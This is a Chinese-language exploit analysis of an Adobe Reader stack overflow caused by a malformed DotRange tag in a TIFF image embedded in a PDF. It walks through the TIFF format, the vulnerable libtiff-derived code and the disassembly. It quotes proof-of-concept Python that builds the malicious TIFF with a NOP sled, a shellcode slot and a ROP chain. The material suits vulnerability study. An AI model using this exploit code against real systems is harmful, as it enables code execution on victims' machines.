一,TIFF圖像格式介紹
TIFF檔案分為檔案頭IFH和IFD兩部分。
IFH結構見下圖:

共有8位元組。其中
0-1 規定為“II”或“MM”,Intel/Mortorola類型的位元組序列
2-3 TIFF版本号,為向下相容,值為42
4-7 第一個IFD的偏移量
IFD結構見下圖
IFD由連續存儲的DE組成。
0-1 IFD中DE個數
2-13 第一個DE
14-25 第二個DE
……
1+12*DE數 下一個IFD相對于檔案頭的偏移量,若為NULL表示本IFD是最後一個。
DE由連續的12位元組表示
0-1 tag指出該DE所表示的圖像屬性,在同一個IFD中,它總是遞增的。
2-3 value的資料類型。
4-7 value的資料長度。
8-11 valueOffset偏移量。為了節省空間,如果此DE值長度不足4位元組,就在valueOffset中直接存儲。
下表列出了tag所表示的圖像屬性
标簽名 标簽的ID号(十進制)
ImageWidth 256
ImageLength 257
Compression 259
PhotometricInterpretation 262
StripOffsets 273
RowsPerStrip 278
StripByteCounts 279
XResolution 282
YResolution 283
ResolutionUnit 296
DotRange 336
以下列出了type各值的含義
1 = BYTE
2 = ASCII
3 = SHORT
4 = LONG
5 = RATIONAL
6 = SBYTE
7 = UNDEFINED
8 = SSHORT
9 = SLONG
10= SRATIONAL
11= FLOAT
12= DOUBLE
二,漏洞産生的原因
漏洞出在對DotRange屬性的解析上。
DotRange一般為兩個值,即DotRange[0]和DotRange[1]。DotRange标簽是一個目錄項結構,12位元組的資料定義了該标簽的TAG、資料類型,資料長度以及值偏移。通常情況下,DotRange的目錄項結構是這個樣子的:
TAG Type Length Value/Offset
0x0150 0x0003/0x0001 0x00000002 0xAAAAAAAA
其中屬性應不超過2。當Length>2時,adobe reader在解析這個屬性時,會根據offset的值,讀取檔案内容,造成棧溢出,最終執行shellcode。
檢視PoC,可以看到PDF中嵌入的TIFF圖像的結構。PoC中生成TIFF圖像的代碼如下
SHELLCODE_OFFSET = 0x555
TIFF_OFSET = 0x2038
def gen_tiff(self):
tiff = '\x49\x49\x2a\x00'
tiff += struct.pack("<L", TIFF_OFSET)
tiff += '\x90' * (SHELLCODE_OFFSET)
tiff += self.shellcode
tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET)
# First IFD
tiff += "\x07\x00" #number of DE = 7
tiff += "\x00\x01\x03\x00\x01\x00\x00\x00\x30\x20\x00\x00" # ImageWidth
tiff += "\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00" # ImageHeigth
tiff += "\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00" # compression
tiff += "\x06\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00" # PhotometricInterpretation
tiff += "\x11\x01\x04\x00\x01\x00\x00\x00\x08\x00\x00\x00" # Stripoffset
tiff += "\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20\x00\x00" # stripbytecounts
tiff += "\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00" # Dot Range
# Next IFD: no more IFD
tiff += "\x00\x00\x00\x00"
# junk
tiff += "\x00\x0C\x0C\x08\x24\x01\x01\x00"
# start of ROP
tiff += "\xF7\x72\x00\x07\x04\x01"
tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"
tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"
tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"
tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"
tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"
tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"
tiff += "\x00\x07"
return tiff
首先是檔案頭,\x49\x49\x2a\x00,表示Intel位元組序列,即Little-Endian。
然後是第一個IFD的偏移量,\x38\x20。
然後是用\x90填充,接着放置shellcode,然後又是\x90填充。
接下來就是第一個IFD結構,前兩個位元組表示有7個DE結構,接着依次是7個DE結構的具體内容。
IFD結構後面是4個\x00,表示隻有一個IFD結構。
緊接着是8位元組的junk資料(後面會說為什麼有這8個位元組),然後就是ROP鍊。
需要注意的是第7個DE結構。
\x50\x01 \x03\x00 \xCC\x00\x00\x00 \x92\x20\x00\x00 # DotRange
其中紅色的部分就是DotRange的長度,設定成了0xCC>2。加粗部分是偏移量,為0x2092,剛好是junk資料相對于檔案頭的偏移量。
三、程式流程分析
分析後可以發現此漏洞與CVE-2006-3459如出一轍,可以下載下傳tif_dirread.c檔案對比分析。
其中函數的調用關系如下圖:
TIFFReadDirectory()中調用TIFFFetchShortPair()的語句如下:
case TIFFTAG_PAGENUMBER:
case TIFFTAG_HALFTONEHINTS:
case TIFFTAG_YCBCRSUBSAMPLING:
case TIFFTAG_DOTRANGE:
(void) TIFFFetchShortPair(tif, dp);
break;
AcroForm!DllUnregisterServer+0x49f8af處,為TIFFFetchShortPair()的入口,彙編如下
.text:20CB59F7 push ebp
.text:20CB59F8 mov ebp, esp
.text:20CB59FA push ecx
.text:20CB59FB movzx eax, word ptr [esi+2] ; get the type of DE
.text:20CB59FF dec eax
.text:20CB5A00 jz short loc_20CB5A2A ; TIFF_BYTE
.text:20CB5A02 dec eax
.text:20CB5A03 dec eax
.text:20CB5A04 jz short loc_20CB5A0F ; TIFF_SHORT
.text:20CB5A06 sub eax, 3
.text:20CB5A09 jz short loc_20CB5A2A ; TIFF_SBYTE
.text:20CB5A0B dec eax
.text:20CB5A0C dec eax
.text:20CB5A0D jnz short loc_20CB5A5A ; TIFF_SSHORT
可以看到,程式一開始申請了4位元組的局部變量(push ecx),然後取DE的type,接下來是對其進行比較,然後跳轉到處理函數。DotRange的type為3(TIFF_SHORT),會跳轉到loc_20CB5A0F。
.text:20CB5A0F lea eax, [ebp+var_4]
.text:20CB5A12 mov ecx, esi
.text:20CB5A14 mov edx, edi
.text:20CB5A16 call loc_20CB59A0 ; call TIFFFetchShortArray()
對應C代碼為:
uint16 v[2];
int ok = 0;
switch (dir->tdir_type) {
case TIFF_SHORT:
case TIFF_SSHORT:
ok = TIFFFetchShortArray(tif, dir, v);
break;
case TIFF_BYTE:
case TIFF_SBYTE:
ok = TIFFFetchByteArray(tif, dir, v);
break;
}
注意uint16 v[2];就是申請的局部變量,總共4個位元組。
loc_20CB59A0處,就是TIFFFetchShortArray()函數的入口,如下
.text:20CB59A0 push ebx
.text:20CB59A1 push esi
.text:20CB59A2 mov esi, ecx
.text:20CB59A4 mov ecx, [esi+4] ; length = 0xCC
.text:20CB59A7 cmp ecx, 2
.text:20CB59AA mov ebx, edx
.text:20CB59AC ja short loc_20CB59E7
比較length與2,不小于則跳轉到loc_20CB59E7;
.text:20CB59E7 push eax ; v
.text:20CB59E8 call sub_20CB56A5 ; call TIFFFetchData()
将上面申請的局部變量v作為參數,調用TIFFFetchData()。對應C代碼如下
if (dir->tdir_count <= 2) {
...
} else
return (TIFFFetchData(tif, dir, (char *)v) != 0);
TIFFFetchData()的C代碼為
TIFFFetchData(TIFF* tif, TIFFDirEntry* dir, char* cp)
{
int w = tiffDataWidth[dir->tdir_type];
tsize_t cc = dir->tdir_count * w;
if (!isMapped(tif)) {
if (!SeekOK(tif, dir->tdir_offset))
goto bad;
if (!ReadOK(tif, cp, cc))
goto bad;
} else {
if (dir->tdir_offset + cc > tif->tif_size)
goto bad;
_TIFFmemcpy(cp, tif->tif_base + dir->tdir_offset, cc);
}
......
}
其中cp為TIFFFetchShortPair()函數中申請的局部變量 uint16 v[2];,tif->tif_base + dir->tdir_offset是DotRange中存儲的偏移量,即junk的起始處。8個位元組的junk會剛好将棧中的局部變量v(4個位元組)和ebp填充,進而将TIFFFetchShortPair()函數的傳回位址覆寫為rop鍊。
這裡就是調用_TIFFmemcpy()函數了。
.text:20CB56F1 push edi ; n
.text:20CB56F2 push [ebp+Dst] ; dest
.text:20CB56F5 push dword ptr [ebx+194h] ; src
.text:20CB56FB call dword ptr [ebx+198h]
進入_TIFFmemcpy()後,再經過一系列處理,來到這裡
209D4572 |. 57 |PUSH EDI ; /n
209D4573 |. 03C1 |ADD EAX,ECX ; |
209D4575 |. 50 |PUSH EAX ; |src
209D4576 |. FF75 08 |PUSH DWORD PTR SS:[EBP+8] ; |dest
209D4579 |. E8 70E1E2FF |CALL <JMP.&MSVCR80.memcpy> ; \memcpy
這兒就是真正調用memcpy函數覆寫棧了。
接下來函數層層傳回,直到AcroForm!DllUnregisterServer+0x49f915,這兒就是TIFFFetchShortPair()函數傳回的地方,之後程式就轉入ROP鍊,進而執行shellcode。